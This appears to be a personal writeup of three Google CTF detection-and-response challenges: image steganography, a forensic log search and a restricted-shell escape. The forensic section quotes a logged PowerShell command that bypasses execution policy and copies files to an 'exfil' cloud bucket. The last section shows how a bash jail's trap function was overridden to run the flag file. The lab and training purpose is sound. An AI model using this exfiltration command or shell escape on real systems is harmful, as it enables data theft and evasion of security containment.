Skip to content

Hacking Google EP002 - Detection & Response

My writeup for EP000 of the Hacking Google CTF : Operation Aurora.

Challenge 01 - Steganography

This image might look familiar. But where have you seen it before?

Hint: Sometimes the answers are hidden in plain site

We are provided with a PNG image:

❯ file challenge.png
challenge.png: PNG image data, 1326 x 462, 8-bit/color RGBA, non-interlaced

The hint suggest that we look at a simmilar image. The image is the same image displayed as the background on the website. If we compare the two they are different:

❯ md5sum website.png
ff8251f71d342e60b52083150baeaddd  website.png
❯ md5sum challenge.png
60cace3aa51d065870abe7be308d8bc1  challenge.png

Checking for strings in the one from the website returns some information in the textual information chunks (metadata1):

❯ strings website.png
Crash OverrideR

D&R found our last message
so just using base64-encoding isn't going to be enough...

The full message appears to indicate that what we are looking for is hidden certificate and that steganography is being used to hide it in an image:

D&R found our last message 🙃 so just using base64-encoding isn't going to be enough. Maybe hide it in an SSL certificate? Should pass DLP checks. And use LSB stego, I'm sure that'll fool them. I found an online tool that works to read it (I'll send you a link) so we can probably deprecate your custom decoding tool. Oh and remember to delete this message before you check in the changes 🤐.

Using StegOnline we can clearly see that something is present at the beginning of the file in bit 0 for R, G, B and Alpha. Using a Cyberchef recipe we can extract the certificate from the image:


When parsed using Cyberchef we get the flag:

Version:          1 (0x00)
Serial number:    148664996155893488627904951239968879597233572140 (0x1a0a5e75dd9cdb9b97ca2525dbf8d00c49f7092c)
Algorithm ID:     SHA1withRSA
  Not Before:     30/09/2022 18:51:05 (dd-mm-yyyy hh:mm:ss) (220930185105Z)
  Not After:      27/09/2032 18:51:05 (dd-mm-yyyy hh:mm:ss) (320927185105Z)
  C  = CH
  ST = Zurich
  O  =
  CN =
  C  = CH
  ST = Zurich
  O  =
  CN =

Challenge 02 - Forensic

After recent attacks, we’ve developed a search tool. Search the logs and discover what the attackers were after. HINT: Use the tool to be forensic in your search.

For this challenge we are given two files:

❯ tree
├── CTF CSV-EASY-final.csv

0 directories, 2 files

The README explains that we should use timesketch, an open-source tool for collaborative forensic timeline analysis, to analyze the CSV file and find the exfiltration channel used by the attacker.

While I liked the idea of using a CTF challenge to push people to try new tools, it was a bit too easy to find the flag without actually using timesketch:

❯ cat CTF\ CSV-EASY-final.csv|grep http
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($"";cloud gs cp #{} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3

Just visit: to solve the challenge

Challenge 03 - Quarantine Shell

Welcome to the shell. See if you can leave. socat FILE:tty,raw,echo=0

Hint: How can you ask the shell for which commands are available?

If we run the command we end up in a quarantined shell, if we use tab completion we can see a list of command:

❯ socat FILE:`tty`,raw,echo=0
== proof-of-work: disabled ==
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

   ___                                    _    _                ____   _            _  _
  / _ \  _   _   __ _  _ __  __ _  _ __  | |_ (_) _ __    ___  / ___| | |__    ___ | || |
 | | | || | | | / _` || `__|/ _` || `_ \ | __|| || `_ \  / _ \ \___ \ | `_ \  / _ \| || |
 | |_| || |_| || (_| || |  | (_| || | | || |_ | || | | ||  __/  ___) || | | ||  __/| || |
  \__\_\ \__,_| \__,_||_|   \__,_||_| |_| \__||_||_| |_| \___| |____/ |_| |_| \___||_||_|

The D&R team has detected some suspicious activity on your account and has quarantined you while they investigate
952 days stuck at ~
~ $
!                    enable               quarantine_protocol
.                    esac                 read
:                    eval                 readarray
[                    exec                 readonly
[[                   exit                 return
]]                   export               select
_dnr_toolkit         false                set
alias                fc                   shift
bg                   fg                   shopt
bind                 fi                   source
break                for                  suspend
builtin              function             test
caller               getopts              then
case                 hash                 time
cd                   help                 times
command              history              trap
compgen              if                   true
complete             in                   type
compopt              jobs                 typeset
continue             kill                 ulimit
coproc               let                  umask
declare              local                unalias
dirs                 logout               unset
disown               mapfile              until
do                   popd                 wait
done                 printf               while
echo                 pushd                {
elif                 pwd                  }
else                 quarantine
~ $

If we can use tab completion and path traversal to list files and directories:

~ $ ../../
bin/                lib32/              root/
boot/               lib64/              run/
default_serverlist  libx32/             sbin/
dev/                  srv/      media/              sys/
etc/                mnt/                tmp/
flag                opt/                usr/
home/               proc/               var/

We can see that the flag is at /flag.

I used this small Python script to fuzz what was available:

from pwn import *
context.log_level = 'error'
for command in [b'!', b'.', b':', b'[', b'[[', b']]', b'_dnr_toolkit', b'alias', b'bg', b'bind', b'break', b'builtin', b'caller', b'case', b'cd', b'command', b'compgen', b'complete', b'compopt', b'continue', b'coproc', b'declare', b'dirs', b'disown', b'do', b'done', b'echo', b'elif', b'else', b'enable', b'esac', b'eval', b'exec', b'exit', b'export', b'false', b'fc', b'fg', b'fi', b'for', b'function', b'getopts', b'hash', b'help', b'history', b'if', b'in', b'jobs', b'kill', b'let', b'local', b'logout', b'mapfile', b'popd', b'printf', b'pushd', b'pwd', b'quarantine', b'quarantine_protocol' b'read' b'readarray' b'readonly' b'return' b'select' b'set' b'shift' b'shopt' b'source' b'suspend' b'test' b'then' b'time' b'times' b'trap' b'true' b'type' b'typeset' b'ulimit' b'umask' b'unalias' b'unset' b'until' b'wait' b'while' b'{', b'}']:
    r = remote('', 1337)
    r.recvuntil(b'$ ')
    data = r.recvrepeat(0.1)

We can notice that entering ! will return an error giving us a bit of insight on how the jail works:

command blocked: trap quarantine_protocol DEBUG
check completions to see available command

In the end thanks to some hint from my coworkers I managed to solve it by redefining the quarantine_protocol and calling it:

~ $ quarantine_protocol () { ls; }
~ $ quarantine_protocol
bash: ls: No such file or directory
~ $ quarantine_protocol () { ../../flag;}
~ $ quarantine_protocol
../../flag: /usr/share/bashdb/ No such file or directory
../../flag: warning: cannot start debugger; debugging mode disabled
../../flag: line 1: No such file or directory